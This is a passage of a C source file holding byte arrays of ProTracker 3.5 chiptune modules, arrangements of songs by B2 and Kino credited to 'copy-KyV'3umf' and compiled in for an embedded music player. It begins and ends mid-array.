0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x03, 0x07, 0x00, 0x03, 0x00, 0x04, 0x07, 0x01,
0x02, 0xf4, 0x00, 0x00, 0x06, 0x00, 0x00, 0xfc, 0xfc, 0xf9, 0xf9, 0x00, 0x06, 0x00, 0x00, 0xfd,
0xfd, 0xf9, 0xf9, 0x02, 0x03, 0xfe, 0xff, 0x00,
};
const uint8_t b2_silver[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x42, 0x32,
0x2d, 0x53, 0x49, 0x4c, 0x56, 0x45, 0x52, 0x2d, 0x41, 0x4b, 0x55, 0x53, 0x54, 0x49, 0x4b, 0x41,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x63, 0x6f, 0x70, 0x79, 0x2d, 0x4b, 0x79, 0x56, 0x27, 0x33, 0x75, 0x6d, 0x66, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x04, 0x18, 0x00, 0xe2, 0x00, 0x00, 0x00, 0x6d, 0x0a, 0x00, 0x00, 0x73,
0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa5, 0x0a, 0x00, 0x00, 0x27, 0x0b, 0x31, 0x0b, 0x00,
0x00, 0x43, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59,
0x0b, 0x00, 0x00, 0x63, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x0b, 0x98, 0x0b, 0x9b, 0x0b, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x0c, 0x0f, 0x12,
0x15, 0x18, 0x1b, 0x1e, 0x21, 0x24, 0x27, 0x2a, 0x2d, 0x30, 0x33, 0x36, 0x39, 0x3c, 0x3f, 0x42,
0x45, 0xff, 0x72, 0x01, 0x7d, 0x01, 0x8b, 0x01, 0x99, 0x01, 0xa9, 0x01, 0xbf, 0x01, 0xd0, 0x01,
0xe4, 0x01, 0xf8, 0x01, 0x0f, 0x02, 0x1d, 0x02, 0x36, 0x02, 0x47, 0x02, 0x55, 0x02, 0x6e, 0x02,
0x81, 0x02, 0x97, 0x02, 0xb2, 0x02, 0xc3, 0x02, 0xd1, 0x02, 0xed, 0x02, 0xf8, 0x02, 0x09, 0x03,
0x24, 0x03, 0x34, 0x03, 0x44, 0x03, 0x60, 0x03, 0x6f, 0x03, 0x7c, 0x03, 0x98, 0x03, 0xa5, 0x03,
0xc3, 0x03, 0xed, 0x03, 0x13, 0x04, 0x34, 0x04, 0x66, 0x04, 0x7f, 0x04, 0x98, 0x04, 0xca, 0x04,
0xe3, 0x04, 0xf6, 0x04, 0x28, 0x05, 0x39, 0x05, 0x66, 0x05, 0xa1, 0x05, 0xca, 0x05, 0xf8, 0x05,
0x37, 0x06, 0x64, 0x06, 0x8d, 0x06, 0xcb, 0x06, 0xfb, 0x06, 0x29, 0x07, 0x67, 0x07, 0x91, 0x07,
0xab, 0x07, 0xe9, 0x07, 0x13, 0x08, 0x3d, 0x08, 0x86, 0x08, 0xb0, 0x08, 0xc3, 0x08, 0x86, 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0x26, 0xbb, 0x00, 0x6f, 0xc6, 0xb1, 0x02, 0x67, 0xc0, 0x73, 0xc0, 0x73, 0xc0, 0x73,
0xc0, 0x73, 0xc0, 0x73, 0xc0, 0xb1, 0x01, 0x73, 0xcf, 0xd0, 0xb1, 0x02, 0xc0, 0x73, 0xc0, 0xbb,
0x00, 0x69, 0xc6, 0x68, 0xc0, 0x68, 0xc0, 0x68, 0xc0, 0x68, 0xc0, 0xbb, 0x00, 0x69, 0x68, 0xc0,
0x68, 0xc0, 0x68, 0xc0, 0x68, 0xc0, 0x00, 0xda, 0xcf, 0xb1, 0x04, 0x74, 0xd9, 0x74, 0xdc, 0x74,
0xda, 0x74, 0xb1, 0x08, 0x74, 0xdc, 0xb1, 0x04, 0x74, 0xd9, 0x74, 0xda, 0xb1, 0x08, 0x74, 0xdc,
0xb1, 0x04, 0x74, 0xda, 0x74, 0xd9, 0x74, 0x74, 0xdc, 0x74, 0xd9, 0x74, 0x00, 0x00, 0x01, 0x00,
0x9f, 0x00, 0x00, 0x06, 0x0c, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8e, 0x00,
0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x80, 0x8c, 0xff, 0xff, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x00, 0x00, 0x18, 0x20, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00,
0x8e, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00,
0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00,
0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00,
0x8b, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x03, 0x00, 0x00, 0x8a, 0x03, 0x00, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0xfd, 0xff, 0x00, 0x8a, 0xfd, 0xff, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x01, 0x02, 0x01, 0x1f, 0x00, 0x00, 0x00, 0x90, 0x00,
0x00, 0x03, 0x04, 0x01, 0x8f, 0x00, 0x01, 0x01, 0x8e, 0x40, 0x04, 0x01, 0x8e, 0xc0, 0x06, 0x00,
0x90, 0x00, 0x00, 0x03, 0x05, 0x09, 0x6f, 0x80, 0x00, 0x01, 0xcf, 0x20, 0x01, 0x01, 0x4e, 0xa0,
0xfe, 0x01, 0x4c, 0x40, 0x00, 0x81, 0x4c, 0x40, 0x00, 0x01, 0x02, 0x01, 0x1b, 0x00, 0x00, 0x00,
0x90, 0x00, 0x00, 0x06, 0x0c, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8e, 0x00,
0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x80, 0x8c, 0xff, 0xff, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00,
};
const uint8_t kino_sun[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x4b, 0x55,
0x48, 0x4f, 0x2d, 0x33, 0x42, 0x45, 0x33, 0x44, 0x41, 0x20, 0x4e, 0x4f, 0x20, 0x55, 0x4d, 0x45,
0x48, 0x55, 0x20, 0x43, 0x4f, 0x2f, 0x21, 0x48, 0x55, 0x45, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x66, 0x75, 0x6c, 0x6c, 0x20, 0x63, 0x6f, 0x70, 0x79, 0x2d, 0x6b, 0x59, 0x76, 0x27,
0x33, 0x75, 0x6d, 0x66, 0x20, 0x32, 0x30, 0x30, 0x34, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x01, 0x06, 0x1a, 0x00, 0xe4, 0x00, 0x00, 0x00, 0x55, 0x0c, 0x6b, 0x0c, 0xb9,
0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0c, 0xf1, 0x0c, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2b, 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x0e, 0x36, 0x0e, 0x3b, 0x0e, 0x40,
0x0e, 0x00, 0x00, 0x00, 0x00, 0x45, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x0c, 0x0f, 0x12,
0x12, 0x15, 0x18, 0x1b, 0x1e, 0x21, 0x24, 0x12, 0x12, 0x15, 0x27, 0x2a, 0x2d, 0x30, 0x33, 0x12,
0x12, 0x12, 0x36, 0xff, 0x56, 0x01, 0x6f, 0x01, 0x01, 0x02, 0x6c, 0x02, 0xa1, 0x02, 0x29, 0x03,
0x9a, 0x03, 0xcf, 0x03, 0x5a, 0x04, 0xcb, 0x04, 0xf9, 0x04, 0x84, 0x05, 0xef, 0x05, 0x16, 0x06,
0x5a, 0x04, 0xa3, 0x06, 0xdc, 0x06, 0x67, 0x07, 0xb3, 0x07, 0xf2, 0x07, 0x7b, 0x08, 0x56, 0x01,
0x6f, 0x01, 0xaa, 0x08, 0x18, 0x09, 0xa1, 0x02, 0x29, 0x03, 0x47, 0x09, 0xcf, 0x03, 0x5a, 0x04,
0x74, 0x09, 0xf9, 0x04, 0x84, 0x05, 0xa6, 0x09, 0x16, 0x06, 0x5a, 0x04, 0xd6, 0x09, 0xdc, 0x06,
0x12, 0x0a, 0x88, 0x0a, 0xf9, 0x04, 0x84, 0x05, 0xc2, 0x0a, 0x16, 0x06, 0x5a, 0x04, 0xf2, 0x0a,
0xf9, 0x04, 0x84, 0x05, 0x1f, 0x0b, 0x16, 0x06, 0x5a, 0x04, 0x4e, 0x0b, 0xdc, 0x06, 0x88, 0x0b,
0xb3, 0x07, 0xd1, 0x0b, 0x7b, 0x08, 0xb1, 0x05, 0xd0, 0xc7, 0xb1, 0x03, 0xd0, 0xc4, 0xb1, 0x02,
0xd0, 0xc3, 0xd0, 0xc1, 0xb1, 0x30, 0xd0, 0xf6, 0x12, 0xcf, 0xb1, 0x02, 0x80, 0x7f, 0x00, 0xf0,
0x02, 0xbb, 0x00, 0x48, 0xcf, 0xb1, 0x02, 0x7d, 0x1a, 0x00, 0x48, 0x2c, 0x7d, 0x10, 0x04, 0x74,
0x1a, 0x00, 0x48, 0x02, 0x80, 0xbb, 0x00, 0x48, 0x80, 0x1a, 0x00, 0x48, 0x2c, 0x7d, 0x10, 0x04,
0xb1, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x1a, 0x00, 0x48, 0x2c, 0x7d, 0x10,
0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0xbb, 0x00, 0x48, 0x80, 0x1a, 0x00, 0x48, 0x2c, 0x7d,
0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x1a, 0x00, 0x48, 0x2c,
0x7d, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0xbb, 0x00, 0x48, 0x80, 0x1a, 0x00, 0x48,
0x2c, 0x7d, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x1a, 0x00,
0x48, 0x2c, 0x7d, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x10, 0x59, 0x1a, 0x00, 0x48, 0x2c, 0x7d,
0x10, 0x04, 0xcc, 0x74, 0xcd, 0xb1, 0x01, 0x74, 0xce, 0xb1, 0x02, 0x74, 0xcf, 0xb1, 0x01, 0x74,
0x00, 0xf3, 0x1a, 0xcd, 0xb1, 0x02, 0x7d, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01,
0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x7d, 0x7d, 0x7d, 0xb1,
0x02, 0x7d, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1,
0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x7d, 0x7d, 0x7d, 0xb1, 0x02, 0x7d, 0x7d, 0xb1, 0x01,
0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d,
0xb1, 0x01, 0x7d, 0x7d, 0x7d, 0xb1, 0x02, 0x7d, 0x7d, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1,
0x01, 0x89, 0x7d, 0x7d, 0x01, 0xb1, 0x06, 0x7d, 0x01, 0x01, 0x00, 0x00, 0xf0, 0x12, 0xcf, 0xb1,
0x04, 0x7d, 0xce, 0x7d, 0xcd, 0x7d, 0xcf, 0xb1, 0x02, 0x78, 0x76, 0x78, 0xca, 0xd0, 0xd3, 0xce,
0x78, 0x76, 0xcd, 0xb1, 0x04, 0x78, 0xd9, 0xcf, 0xb1, 0x02, 0x78, 0x79, 0xb1, 0x03, 0x7b, 0x7b,
0xb1, 0x02, 0x7b, 0xb1, 0x04, 0x7b, 0x7d, 0x78, 0xca, 0x78, 0x78, 0xcf, 0xb1, 0x02, 0x79, 0x78,
0x00, 0xf0, 0x02, 0xbb, 0x00, 0x48, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10, 0x04,
0x74, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74,
0x10, 0x04, 0x74, 0xe6, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10,
0x04, 0x74, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c,
0x74, 0x10, 0x04, 0x74, 0xe6, 0x74, 0x1a, 0x00, 0x3c, 0x02, 0x80, 0x18, 0x00, 0x3c, 0x2c, 0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 0x74, 0xb1, 0x02, 0x76, 0xca, 0x76, 0x76, 0xc9,
0x76, 0x76, 0xc8, 0x76, 0xcc, 0xd0, 0xcf, 0xd0, 0xb1, 0x03, 0x76, 0x76, 0xb1, 0x02, 0x76, 0x76,
0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x80, 0x7f, 0x00, 0xf0,
0x02, 0xbb, 0x00, 0x35, 0xcf, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80, 0x10, 0x04, 0x74,
0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80, 0x10, 0x04,
0xb1, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80, 0x10,
0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80,
0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x28, 0x2c,
0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0x80, 0xbb, 0x00, 0x28, 0x80, 0x18, 0x00, 0x28,
0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00,
0x28, 0x2c, 0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0x80, 0xbb, 0x00, 0x28, 0x80, 0x18,
0x00, 0x28, 0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76,
0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76,
0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0x76, 0xb1, 0x02, 0x76, 0x76, 0xb1, 0x01, 0x76, 0xb1,
0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01,
0x76, 0x76, 0x76, 0x42, 0xb1, 0x02, 0x7b, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01,
0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x7b, 0x7b, 0xb1,
0x02, 0x7b, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x7b, 0x7b, 0xb1, 0x02,
0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02,
0x7d, 0x78, 0x78, 0x78, 0x78, 0x78, 0xb1, 0x04, 0x7b, 0x78, 0xce, 0xd0, 0xca, 0xd0, 0xcf, 0xb1,
0x02, 0x78, 0x79, 0xb1, 0x03, 0x7b, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x04, 0x7b, 0x7d, 0x78, 0xce,
0xd0, 0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x79, 0x78, 0x00, 0xf0, 0x02, 0xbb, 0x00, 0x48, 0xcf, 0xb1,
0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0xbb,
0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x48,
0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x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 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x00, 0xf0,
0x12, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0xb1, 0x04, 0x76, 0x76, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0,
0xcc, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce,
0xd0, 0xcd, 0xd0, 0xcc, 0xd0, 0x00, 0xf0, 0x02, 0xbb, 0x00, 0x35, 0xcf, 0xb1, 0x02, 0x80, 0x18,
0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00, 0x35, 0x80,
0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0xb1, 0x02,
0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00,
0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02,
0xb1, 0x02, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0x80,
0xbb, 0x00, 0x28, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00,
0x28, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28,
0x02, 0x80, 0xbb, 0x00, 0x28, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0x74, 0xb1, 0x01,
0x74, 0x74, 0x00, 0xb0, 0x40, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04,
0x74, 0x76, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xb1,
0x02, 0xd0, 0xcf, 0xb1, 0x04, 0x71, 0xce, 0xd0, 0xca, 0xd0, 0xc9, 0xd0, 0xc8, 0xd0, 0xc6, 0xb1,
0x02, 0xd0, 0xb1, 0x01, 0x80, 0xc8, 0x82, 0xca, 0x84, 0xcc, 0x85, 0x00, 0xf0, 0x02, 0xbf, 0x00,
0x35, 0xcf, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x35,
0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74,
0x1e, 0x00, 0x35, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1e,
0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1,
0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10, 0x04,
0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10,
0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74,
0x10, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c,
0x74, 0x10, 0x04, 0xb1, 0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x35, 0x2c,
0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0xbf, 0x00, 0x35,
0xd0, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48,
0x2c, 0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x18, 0x00,
0x48, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x18,
0x00, 0x48, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80,
0x18, 0x00, 0x48, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x00, 0xb1, 0x02, 0xd0, 0xf1, 0x1a,
0xca, 0xb1, 0x03, 0x90, 0x90, 0x8e, 0x8e, 0xb1, 0x02, 0x8e, 0x8e, 0x90, 0x91, 0x95, 0xb1, 0x03,
0x8e, 0x8e, 0xb1, 0x04, 0x8e, 0xb1, 0x03, 0x8b, 0x8b, 0x8c, 0x8c, 0xb1, 0x02, 0x8c, 0x8b, 0x8c,
0x8e, 0x90, 0xb1, 0x03, 0x89, 0x89, 0xb1, 0x02, 0x89, 0x00, 0xf3, 0x1a, 0xc7, 0xb1, 0x02, 0x7d,
0x7d, 0xc8, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x89, 0xc9, 0xb1, 0x02, 0x7d, 0xb1,
0x01, 0x89, 0x7d, 0xca, 0xd0, 0x7d, 0x7d, 0x7d, 0xcb, 0xb1, 0x02, 0x7d, 0x7d, 0xcc, 0xb1, 0x01,
0x89, 0xb1, 0x02, 0x7d, 0xb1, 0x01, 0x89, 0xcd, 0xb1, 0x02, 0x7d, 0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7b, 0x7b, 0x7b, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xd0, 0xcd, 0xd0,
0xcf, 0xb1, 0x02, 0x79, 0x78, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0x76,
0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xb1, 0x02, 0xd0, 0xcf, 0xd0, 0x78, 0x78, 0xb1,
0x03, 0x76, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0,
0xcf, 0xb1, 0x02, 0x76, 0x76, 0x00, 0xb0, 0x40, 0xcf, 0xb1, 0x02, 0x76, 0xb1, 0x04, 0x76, 0xb1,
0x02, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x74, 0x76, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0x76, 0x76, 0x76,
0xb1, 0x04, 0x7d, 0x78, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0xb1, 0x04, 0x71, 0xce, 0xd0, 0xca, 0xd0,
0xc9, 0xd0, 0xc8, 0xd0, 0xc6, 0xb1, 0x02, 0xd0, 0xb1, 0x01, 0x80, 0xc8, 0x82, 0xca, 0x84, 0xcc,
0x85, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76, 0x76, 0xcd, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76,
0xb1, 0x01, 0x76, 0xcb, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0xcc, 0xd0, 0x76, 0x76, 0x76,
0xca, 0xb1, 0x02, 0x76, 0x76, 0xc9, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xc8,
0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0x76, 0x42, 0xb1,
0x02, 0x76, 0x76, 0xc5, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xc4, 0xb1, 0x02,
0x76, 0x76, 0xc3, 0xb1, 0x01, 0x76, 0x76, 0x76, 0x76, 0xc2, 0xd0, 0xb1, 0x02, 0x76, 0xb1, 0x01,
0x76, 0xc1, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02,
0x76, 0xb1, 0x01, 0x76, 0xb1, 0x03, 0x76, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02, 0x7d, 0x78, 0x78,
0x78, 0x78, 0x78, 0xb1, 0x04, 0x7b, 0x78, 0xce, 0xb1, 0x02, 0xd0, 0xcd, 0xb1, 0x01, 0xd0, 0xcc,
0xd0, 0xca, 0xb1, 0x04, 0xd0, 0xcf, 0xb1, 0x02, 0x78, 0x79, 0xb1, 0x03, 0x7b, 0xb1, 0x05, 0x7b,
0xb1, 0x02, 0x7b, 0x7b, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x79,
